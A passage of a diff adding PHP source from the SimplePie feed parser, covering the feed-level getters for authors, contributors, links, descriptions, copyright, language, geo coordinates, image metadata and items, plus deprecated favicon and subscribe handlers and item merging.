+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$authors[] = $this->registry->create('Author', array($name, $uri, $email));
+			}
+		}
+		if ($author = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$authors[] = $this->registry->create('Author', array($name, $url, $email));
+			}
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
+		{
+			$authors[] = $this->registry->create('Author', array($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+
+		if (!empty($authors))
+		{
+			return array_unique($authors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a contributor for the feed
+	 *
+	 * @since 1.1
+	 * @param int $key The contrbutor that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Author|null
+	 */
+	public function get_contributor($key = 0)
+	{
+		$contributors = $this->get_contributors();
+		if (isset($contributors[$key]))
+		{
+			return $contributors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all contributors for the feed
+	 *
+	 * Uses `<atom:contributor>`
+	 *
+	 * @since 1.1
+	 * @return array|null List of {@see SimplePie_Author} objects
+	 */
+	public function get_contributors()
+	{
+		$contributors = array();
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$contributors[] = $this->registry->create('Author', array($name, $uri, $email));
+			}
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$contributors[] = $this->registry->create('Author', array($name, $url, $email));
+			}
+		}
+
+		if (!empty($contributors))
+		{
+			return array_unique($contributors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a single link for the feed
+	 *
+	 * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
+	 * @param int $key The link that you want to return.  Remember that arrays begin with 0, not 1
+	 * @param string $rel The relationship of the link to return
+	 * @return string|null Link URL
+	 */
+	public function get_link($key = 0, $rel = 'alternate')
+	{
+		$links = $this->get_links($rel);
+		if (isset($links[$key]))
+		{
+			return $links[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the permalink for the item
+	 *
+	 * Returns the first link available with a relationship of "alternate".
+	 * Identical to {@see get_link()} with key 0
+	 *
+	 * @see get_link
+	 * @since 1.0 (previously called `get_feed_link` since Preview Release, `get_feed_permalink()` since 0.8)
+	 * @internal Added for parity between the parent-level and the item/entry-level.
+	 * @return string|null Link URL
+	 */
+	public function get_permalink()
+	{
+		return $this->get_link(0);
+	}
+
+	/**
+	 * Get all links for the feed
+	 *
+	 * Uses `<atom:link>` or `<link>`
+	 *
+	 * @since Beta 2
+	 * @param string $rel The relationship of links to return
+	 * @return array|null Links found for the feed (strings)
+	 */
+	public function get_links($rel = 'alternate')
+	{
+		if (!isset($this->data['links']))
+		{
+			$this->data['links'] = array();
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					}
+				}
+			}
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+
+					}
+				}
+			}
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+
+			$keys = array_keys($this->data['links']);
+			foreach ($keys as $key)
+			{
+				if ($this->registry->call('Misc', 'is_isegment_nz_nc', array($key)))
+				{
+					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
+						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
+					}
+					else
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
+					}
+				}
+				elseif (substr($key, 0, 41) === SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
+				{
+					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
+				}
+				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
+			}
+		}
+
+		if (isset($this->data['links'][$rel]))
+		{
+			return $this->data['links'][$rel];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	public function get_all_discovered_feeds()
+	{
+		return $this->all_discovered_feeds;
+	}
+
+	/**
+	 * Get the content for the item
+	 *
+	 * Uses `<atom:subtitle>`, `<atom:tagline>`, `<description>`,
+	 * `<dc:description>`, `<itunes:summary>` or `<itunes:subtitle>`
+	 *
+	 * @since 1.0 (previously called `get_feed_description()` since 0.8)
+	 * @return string|null
+	 */
+	public function get_description()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the copyright info for the feed
+	 *
+	 * Uses `<atom:rights>`, `<atom:copyright>` or `<dc:rights>`
+	 *
+	 * @since 1.0 (previously called `get_feed_copyright()` since 0.8)
+	 * @return string|null
+	 */
+	public function get_copyright()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the language for the feed
+	 *
+	 * Uses `<language>`, `<dc:language>`, or @xml_lang
+	 *
+	 * @since 1.0 (previously called `get_feed_language()` since 0.8)
+	 * @return string|null
+	 */
+	public function get_language()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang']))
+		{
+			return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang']))
+		{
+			return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang']))
+		{
+			return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['headers']['content-language']))
+		{
+			return $this->sanitize($this->data['headers']['content-language'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the latitude coordinates for the item
+	 *
+	 * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
+	 *
+	 * Uses `<geo:lat>` or `<georss:point>`
+	 *
+	 * @since 1.0
+	 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
+	 * @link http://www.georss.org/ GeoRSS
+	 * @return string|null
+	 */
+	public function get_latitude()
+	{
+
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
+		{
+			return (float) $match[1];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the longitude coordinates for the feed
+	 *
+	 * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications
+	 *
+	 * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>`
+	 *
+	 * @since 1.0
+	 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo
+	 * @link http://www.georss.org/ GeoRSS
+	 * @return string|null
+	 */
+	public function get_longitude()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match))
+		{
+			return (float) $match[2];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the feed logo's title
+	 *
+	 * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" title.
+	 *
+	 * Uses `<image><title>` or `<image><dc:title>`
+	 *
+	 * @return string|null
+	 */
+	public function get_image_title()
+	{
+		if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the feed logo's URL
+	 *
+	 * RSS 0.9.0, 2.0, Atom 1.0, and feeds with iTunes RSS tags are allowed to
+	 * have a "feed logo" URL. This points directly to the image itself.
+	 *
+	 * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
+	 * `<image><title>` or `<image><dc:title>`
+	 *
+	 * @return string|null
+	 */
+	public function get_image_url()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image'))
+		{
+			return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'url'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'url'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+
+	/**
+	 * Get the feed logo's link
+	 *
+	 * RSS 0.9.0, 1.0 and 2.0 feeds are allowed to have a "feed logo" link. This
+	 * points to a human-readable page that the image should link to.
+	 *
+	 * Uses `<itunes:image>`, `<atom:logo>`, `<atom:icon>`,
+	 * `<image><title>` or `<image><dc:title>`
+	 *
+	 * @return string|null
+	 */
+	public function get_image_link()
+	{
+		if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'link'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the feed logo's link
+	 *
+	 * RSS 2.0 feeds are allowed to have a "feed logo" width.
+	 *
+	 * Uses `<image><width>` or defaults to 88.0 if no width is specified and
+	 * the feed is an RSS 2.0 feed.
+	 *
+	 * @return int|float|null
+	 */
+	public function get_image_width()
+	{
+		if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'width'))
+		{
+			return round($return[0]['data']);
+		}
+		elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url'))
+		{
+			return 88.0;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the feed logo's height
+	 *
+	 * RSS 2.0 feeds are allowed to have a "feed logo" height.
+	 *
+	 * Uses `<image><height>` or defaults to 31.0 if no height is specified and
+	 * the feed is an RSS 2.0 feed.
+	 *
+	 * @return int|float|null
+	 */
+	public function get_image_height()
+	{
+		if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'height'))
+		{
+			return round($return[0]['data']);
+		}
+		elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'url'))
+		{
+			return 31.0;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get the number of items in the feed
+	 *
+	 * This is well-suited for {@link http://php.net/for for()} loops with
+	 * {@see get_item()}
+	 *
+	 * @param int $max Maximum value to return. 0 for no limit
+	 * @return int Number of items in the feed
+	 */
+	public function get_item_quantity($max = 0)
+	{
+		$max = (int) $max;
+		$qty = count($this->get_items());
+		if ($max === 0)
+		{
+			return $qty;
+		}
+		else
+		{
+			return ($qty > $max) ? $max : $qty;
+		}
+	}
+
+	/**
+	 * Get a single item from the feed
+	 *
+	 * This is better suited for {@link http://php.net/for for()} loops, whereas
+	 * {@see get_items()} is better suited for
+	 * {@link http://php.net/foreach foreach()} loops.
+	 *
+	 * @see get_item_quantity()
+	 * @since Beta 2
+	 * @param int $key The item that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Item|null
+	 */
+	public function get_item($key = 0)
+	{
+		$items = $this->get_items();
+		if (isset($items[$key]))
+		{
+			return $items[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all items from the feed
+	 *
+	 * This is better suited for {@link http://php.net/for for()} loops, whereas
+	 * {@see get_items()} is better suited for
+	 * {@link http://php.net/foreach foreach()} loops.
+	 *
+	 * @see get_item_quantity
+	 * @since Beta 2
+	 * @param int $start Index to start at
+	 * @param int $end Number of items to return. 0 for all items after `$start`
+	 * @return array|null List of {@see SimplePie_Item} objects
+	 */
+	public function get_items($start = 0, $end = 0)
+	{
+		if (!isset($this->data['items']))
+		{
+			if (!empty($this->multifeed_objects))
+			{
+				$this->data['items'] = SimplePie::merge_items($this->multifeed_objects, $start, $end, $this->item_limit);
+			}
+			else
+			{
+				$this->data['items'] = array();
+				if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'entry'))
+				{
+					$keys = array_keys($items);
+					foreach ($keys as $key)
+					{
+						$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
+					}
+				}
+				if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'entry'))
+				{
+					$keys = array_keys($items);
+					foreach ($keys as $key)
+					{
+						$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
+					}
+				}
+				if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'item'))
+				{
+					$keys = array_keys($items);
+					foreach ($keys as $key)
+					{
+						$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
+					}
+				}
+				if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'item'))
+				{
+					$keys = array_keys($items);
+					foreach ($keys as $key)
+					{
+						$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
+					}
+				}
+				if ($items = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'item'))
+				{
+					$keys = array_keys($items);
+					foreach ($keys as $key)
+					{
+						$this->data['items'][] = $this->registry->create('Item', array($this, $items[$key]));
+					}
+				}
+			}
+		}
+
+		if (!empty($this->data['items']))
+		{
+			// If we want to order it by date, check if all items have a date, and then sort it
+			if ($this->order_by_date && empty($this->multifeed_objects))
+			{
+				if (!isset($this->data['ordered_items']))
+				{
+					$do_sort = true;
+					foreach ($this->data['items'] as $item)
+					{
+						if (!$item->get_date('U'))
+						{
+							$do_sort = false;
+							break;
+						}
+					}
+					$item = null;
+					$this->data['ordered_items'] = $this->data['items'];
+					if ($do_sort)
+					{
+						usort($this->data['ordered_items'], array(get_class($this), 'sort_items'));
+					}
+				}
+				$items = $this->data['ordered_items'];
+			}
+			else
+			{
+				$items = $this->data['items'];
+			}
+
+			// Slice the data as desired
+			if ($end === 0)
+			{
+				return array_slice($items, $start);
+			}
+			else
+			{
+				return array_slice($items, $start, $end);
+			}
+		}
+		else
+		{
+			return array();
+		}
+	}
+
+	/**
+	 * Set the favicon handler
+	 *
+	 * @deprecated Use your own favicon handling instead
+	 */
+	public function set_favicon_handler($page = false, $qs = 'i')
+	{
+		$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
+		trigger_error('Favicon handling has been removed, please use your own handling', $level);
+		return false;
+	}
+
+	/**
+	 * Get the favicon for the current feed
+	 *
+	 * @deprecated Use your own favicon handling instead
+	 */
+	public function get_favicon()
+	{
+		$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
+		trigger_error('Favicon handling has been removed, please use your own handling', $level);
+
+		if (($url = $this->get_link()) !== null)
+		{
+			return 'http://g.etfv.co/' . urlencode($url);
+		}
+
+		return false;
+	}
+
+	/**
+	 * Magic method handler
+	 *
+	 * @param string $method Method name
+	 * @param array $args Arguments to the method
+	 * @return mixed
+	 */
+	public function __call($method, $args)
+	{
+		if (strpos($method, 'subscribe_') === 0)
+		{
+			$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
+			trigger_error('subscribe_*() has been deprecated, implement the callback yourself', $level);
+			return '';
+		}
+		if ($method === 'enable_xml_dump')
+		{
+			$level = defined('E_USER_DEPRECATED') ? E_USER_DEPRECATED : E_USER_WARNING;
+			trigger_error('enable_xml_dump() has been deprecated, use get_raw_data() instead', $level);
+			return false;
+		}
+
+		$class = get_class($this);
+		$trace = debug_backtrace();
+		$file = $trace[0]['file'];
+		$line = $trace[0]['line'];
+		trigger_error("Call to undefined method $class::$method() in $file on line $line", E_USER_ERROR);
+	}
+
+	/**
+	 * Sorting callback for items
+	 *
+	 * @access private
+	 * @param SimplePie $a
+	 * @param SimplePie $b
+	 * @return boolean
+	 */
+	public static function sort_items($a, $b)
+	{
+		return $a->get_date('U') <= $b->get_date('U');
+	}
+
+	/**
+	 * Merge items from several feeds into one
+	 *
+	 * If you're merging multiple feeds together, they need to all have dates
+	 * for the items or else SimplePie will refuse to sort them.
+	 *
+	 * @link http://simplepie.org/wiki/tutorial/sort_multiple_feeds_by_time_and_date#if_feeds_require_separate_per-feed_settings
+	 * @param array $urls List of SimplePie feed objects to merge
+	 * @param int $start Starting item
+	 * @param int $end Number of items to return
+	 * @param int $limit Maximum number of items per feed
+	 * @return array
+	 */
+	public static function merge_items($urls, $start = 0, $end = 0, $limit = 0)
+	{
+		if (is_array($urls) && sizeof($urls) > 0)
+		{
+			$items = array();
+			foreach ($urls as $arg)
+			{
+				if ($arg instanceof SimplePie)
+				{
+					$items = array_merge($items, $arg->get_items(0, $limit));
+				}
+				else
+				{
+					trigger_error('Arguments must be SimplePie objects', E_USER_WARNING);
+				}
+			}
+
+			$do_sort = true;
+			foreach ($items as $item)
+			{
+				if (!$item->get_date('U'))
+				{
+					$do_sort = false;
+					break;
+				}
+			}
+			$item = null;
+			if ($do_sort)
+			{
+				usort($items, array(get_class($urls[0]), 'sort_items'));
+			}
+
+			if ($end === 0)
+			{
+				return array_slice($items, $start);
+			}
+			else
+			{
+				return array_slice($items, $start, $end);
+			}
+		}
+		else
+		{
+			trigger_error('Cannot merge zero SimplePie objects', E_USER_WARNING);
+			return array();
+		}
+	}
+}
